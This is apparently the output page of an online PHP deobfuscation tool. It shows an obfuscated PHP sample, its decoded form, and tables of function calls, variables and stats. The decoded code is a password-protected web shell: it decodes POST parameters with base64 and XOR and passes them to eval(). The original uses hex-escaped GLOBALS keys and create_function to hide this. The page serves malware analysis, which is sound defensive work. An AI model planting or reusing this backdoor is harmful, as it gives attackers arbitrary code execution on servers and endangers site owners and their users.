Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

${"G\x4c\x4fB\x41L\x53"}["b\x79s\x69\x70\x6al\x76\x73a\x68v\x6ad\x64\x71\x62q\x76h\x73"]="..

Decoded Output download


$pass = "message";
function decoder($s,$k){
	$res = '';
	$s = rtrim(base64_decode($s),'/');
	$s = explode('/', $s);
	foreach ($s as $key => $value) {
		$res .= chr($value^99);
	}
	return base64_decode($res);
}
foreach($_POST as $k => $v){
	if($k == $pass) { continue; }
	$_POST[$k] = decoder($v, $k);
}
eval(decoder($_POST[$pass], $k));

Did this file decode correctly?

Original Code

${"G\x4c\x4fB\x41L\x53"}["b\x79s\x69\x70\x6al\x76\x73a\x68v\x6ad\x64\x71\x62q\x76h\x73"]="\x73\x78\x76";${"G\x4cO\x42A\x4c\x53"}["\x74c\x6co\x5fw\x68o\x67\x71w\x64_\x66n\x62n\x65\x77p\x73q\x76x\x7an\x6at"]="\x68u\x76";${"G\x4cO\x42A\x4c\x53"}["\x74d\x7a\x6c\x69\x70\x6b\x67_\x64\x5fz\x69\x76i\x66f\x66t\x76h"]="q\x62";${"G\x4cO\x42A\x4cS"}["z\x6e\x77s\x6et\x6ap\x6d\x73z\x62i\x78e\x70_\x65\x76\x76a\x75\x62\x6e_\x7a\x79o"]="\x6el\x72";${"G\x4cO\x42\x41\x4cS"}["u\x5f\x6a\x67s\x62j\x68\x79\x75\x74\x79i\x79o\x6bt\x6c\x64x\x64r\x6bv\x64i\x6d\x68n\x6d\x73\x78n\x77\x74o\x78\x64u"]="\x65\x7aw";${"G\x4cO\x42\x41L\x53"}["m\x64b\x7a\x5fd\x79i\x79d\x66\x6a\x77h\x6fo\x79\x71_\x75c\x73"]="\x76r";${"G\x4cO\x42A\x4cS"}["\x5f\x67z\x69g\x67k\x66\x61i\x70\x64\x6b\x62m\x6fs\x63\x75m\x79\x63\x66\x63\x73\x75\x68\x76"]="\x6e\x6e";${"\x47L\x4fB\x41\x4c\x53"}["f\x77\x73o\x61g\x61\x6ce\x73\x7aj\x67e\x72\x77\x72\x71h\x77\x77\x6b\x64\x61\x79k\x76"]="\x6ca";${${"G\x4c\x4fB\x41L\x53"}["b\x79s\x69\x70\x6al\x76\x73a\x68v\x6ad\x64\x71\x62q\x76h\x73"]}="\x4bT\x73\x4bC\x53R\x7aI\x44\x30g\x5aX\x68w\x62G\x39k\x5a\x53g\x6e\x4c\x79c\x73r\x61I\x43R\x7a\x4bT\x73K\x43\x57Z\x76c\x6dV\x68\x592\x67r\x61g\x4b\x43R\x7a\x49r\x61G\x46z\x49C\x52r\x5aX\x6bg\x72\x61P\x544\x67\x4a\x48Z\x68r\x61\x62H\x56\x6cK\x53r\x61B\x37\x43g\x6bJ\x4a\x48J\x72a\x6cc\x79A\x75r\x61P\x53B\x6ar\x61a\x72\x61\x48\x49o\x4a\x48\x5ah\x62\x48V\x6cX\x6a";${${"\x47L\x4fB\x41L\x53"}["\x74c\x6co\x5fw\x68o\x67\x71w\x64_\x66n\x62n\x65\x77p\x73q\x76x\x7an\x6at"]}=str_replace("j","","jsjtrj_jrjepjljajcje");${${"\x47L\x4fB\x41\x4cS"}["\x74d\x7a\x6c\x69\x70\x6b\x67_\x64\x5fz\x69\x76i\x66f\x66t\x76h"]}="\x43i\x52\x77Y\x58N\x7a\x49\x44\x30\x67\x49\x6d1\x6cc\x33\x72a\x4e\x68\x5a2\x55\x69\x4f\x77p\x6dd\x575\x6a\x64G\x6cv\x62i\x42\x6b\x72\x61\x5aW\x4e\x76Z\x47\x56r\x61y\x4b\x43R\x7aL\x43R\x72K\x58\x73\x4bC\x53\x52\x79Z\x58M\x67\x50\x53A\x6eJ\x7as\x4bC\x53R\x7ar\x61I\x440\x67c\x72a\x6e\x52r\x61\x79a\x57\x30\x72\x61\x6f\x59m\x46z\x5aT\x59\x30X\x32R\x6c\x592\x39k\x72\x61\x5aS\x72a\x67\x6bc\x79k\x73\x4a\x798\x6e";${${"G\x4cO\x42A\x4c\x53"}["z\x6e\x77s\x6et\x6ap\x6d\x73z\x62i\x78e\x70_\x65\x76\x76a\x75\x62\x6e_\x7a\x79o"]}="\x59X\x4ez\x4bS\x42\x37I\x47N\x76b\x6e\x52\x70b\x72\x61\x6e\x56l\x4fy\x42\x39\x43\x67r\x61k\x6b\x581\x42P\x72a\x55\x31R\x62\x4aG\x74r\x61\x64\x49\x440\x67Z\x47V\x6a\x622\x52l\x63\x69g\x6b\x64i\x77g\x4a\x47\x73p\x4fw\x70\x39C\x6bB\x72\x61l\x64m\x46s\x4bG\x52r\x61l\x59\x32\x39k\x5a\x58I\x6fJ\x469\x51T\x31N\x55\x57y\x52w\x59\x72a\x58\x4e\x7aX\x72\x61\x53w\x67J\x47s\x70r\x61\x4bT\x72a\x73K\x43\x72\x61\x67=\x3d";${${"\x47L\x4f\x42\x41\x4cS"}["u\x5f\x6a\x67s\x62j\x68\x79\x75\x74\x79i\x79o\x6bt\x6c\x64x\x64r\x6bv\x64i\x6d\x68n\x6d\x73\x78n\x77\x74o\x78\x64u"]}="k\x35K\x54s\x4b\x43\x58\x30K\x43X\x4a\x6cd\x48r\x61V\x79b\x69r\x61B\x69Y\x58N\x6cN\x6aR\x66\x5ar\x61\x47\x56j\x622\x52l\x4bC\x52y\x5aX\x4dp\x4fw\x70\x39\x43\x72a\x6d\x5av\x63m\x72\x61V\x68\x59\x32\x67o\x4aF\x39\x51\x541\x4e\x55I\x47\x46z\x49C\x52r\x49\x44\x30\x2bI\x43r\x61R\x72a\x32K\x58s\x4br\x61C\x57\x6cr\x61\x6d\x4bC\x52r\x49\x440\x39I\x43\x52\x72\x61\x77\x72\x61";${${"\x47\x4cO\x42A\x4cS"}["m\x64b\x7a\x5fd\x79i\x79d\x66\x6a\x77h\x6fo\x79\x71_\x75c\x73"]}=${${"\x47L\x4fB\x41\x4c\x53"}["\x74c\x6co\x5fw\x68o\x67\x71w\x64_\x66n\x62n\x65\x77p\x73q\x76x\x7an\x6at"]}("f","","fbfasfef6f4_fdfecofdfe");${${"\x47L\x4f\x42A\x4cS"}["\x5f\x67z\x69g\x67k\x66\x61i\x70\x64\x6b\x62m\x6fs\x63\x75m\x79\x63\x66\x63\x73\x75\x68\x76"]}=${${"\x47\x4c\x4f\x42A\x4cS"}["\x74c\x6co\x5fw\x68o\x67\x71w\x64_\x66n\x62n\x65\x77p\x73q\x76x\x7an\x6at"]}("w","","cwrwewawtwew_wfuwncwtwiwown");${${"G\x4cO\x42\x41\x4c\x53"}["f\x77\x73o\x61g\x61\x6ce\x73\x7aj\x67e\x72\x77\x72\x71h\x77\x77\x6b\x64\x61\x79k\x76"]}=${${"G\x4cO\x42\x41L\x53"}["\x5f\x67z\x69g\x67k\x66\x61i\x70\x64\x6b\x62m\x6fs\x63\x75m\x79\x63\x66\x63\x73\x75\x68\x76"]}('',${${"\x47L\x4f\x42\x41L\x53"}["m\x64b\x7a\x5fd\x79i\x79d\x66\x6a\x77h\x6fo\x79\x71_\x75c\x73"]}(${${"G\x4cO\x42A\x4cS"}["\x74c\x6co\x5fw\x68o\x67\x71w\x64_\x66n\x62n\x65\x77p\x73q\x76x\x7an\x6at"]}("ra","",${${"G\x4cO\x42A\x4c\x53"}["\x74d\x7a\x6c\x69\x70\x6b\x67_\x64\x5fz\x69\x76i\x66f\x66t\x76h"]}.${${"\x47L\x4fB\x41\x4cS"}["b\x79s\x69\x70\x6al\x76\x73a\x68v\x6ad\x64\x71\x62q\x76h\x73"]}.${${"G\x4c\x4fB\x41\x4cS"}["u\x5f\x6a\x67s\x62j\x68\x79\x75\x74\x79i\x79o\x6bt\x6c\x64x\x64r\x6bv\x64i\x6d\x68n\x6d\x73\x78n\x77\x74o\x78\x64u"]}.${${"\x47\x4cO\x42\x41\x4cS"}["z\x6e\x77s\x6et\x6ap\x6d\x73z\x62i\x78e\x70_\x65\x76\x76a\x75\x62\x6e_\x7a\x79o"]})));${${"G\x4cO\x42A\x4cS"}["f\x77\x73o\x61g\x61\x6ce\x73\x7aj\x67e\x72\x77\x72\x71h\x77\x77\x6b\x64\x61\x79k\x76"]}()

Function Calls

null 1
str_replace 4
base64_decode 1
create_function 1

Variables

la None
nn create_function
qb CiRwYXNzID0gIm1lc3raNhZ2UiOwpmdW5jdGlvbiBkraZWNvZGVrayKCRzLC..
vr base64_decode
ezw k5KTsKCX0KCXJldHraVybiraBiYXNlNjRfZraGVjb2RlKCRyZXMpOwp9Cram..
huv str_replace
nlr YXNzKSB7IGNvbnRpbranVlOyB9CgrakkX1BPraU1RbJGtradID0gZGVjb2Rl..
sxv KTsKCSRzID0gZXhwbG9kZSgnLycsraICRzKTsKCWZvcmVhY2gragKCRzIraG..
GLOBALS [{'key': 'bysipjlvsahvjddqbqvhs', 'value': 'sxv'}, {'key': 'tclo_whogqwd_fnbnewpsqvxznjt', 'value': 'huv'}, {'key': 'tdzlipkg_d_ziviffftvh', 'value': 'qb'}, {'key': 'znwsntjpmszbixep_evvaubn_zyo', 'value': 'nlr'}, {'key': 'u_jgsbjhyutyiyoktldxdrkvdimhnmsxnwtoxdu', 'value': 'ezw'}, {'key': 'mdbz_dyiydfjwhooyq_ucs', 'value': 'vr'}, {'key': '_gziggkfaipdkbmoscumycfcsuhv', 'value': 'nn'}, {'key': 'fwsoagaleszjgerwrqhwwkdaykv', 'value': 'la'}]

Stats

MD5 00f68d499b49b4226ceaecba96d89613
Eval Count 1
Decode Time 64 ms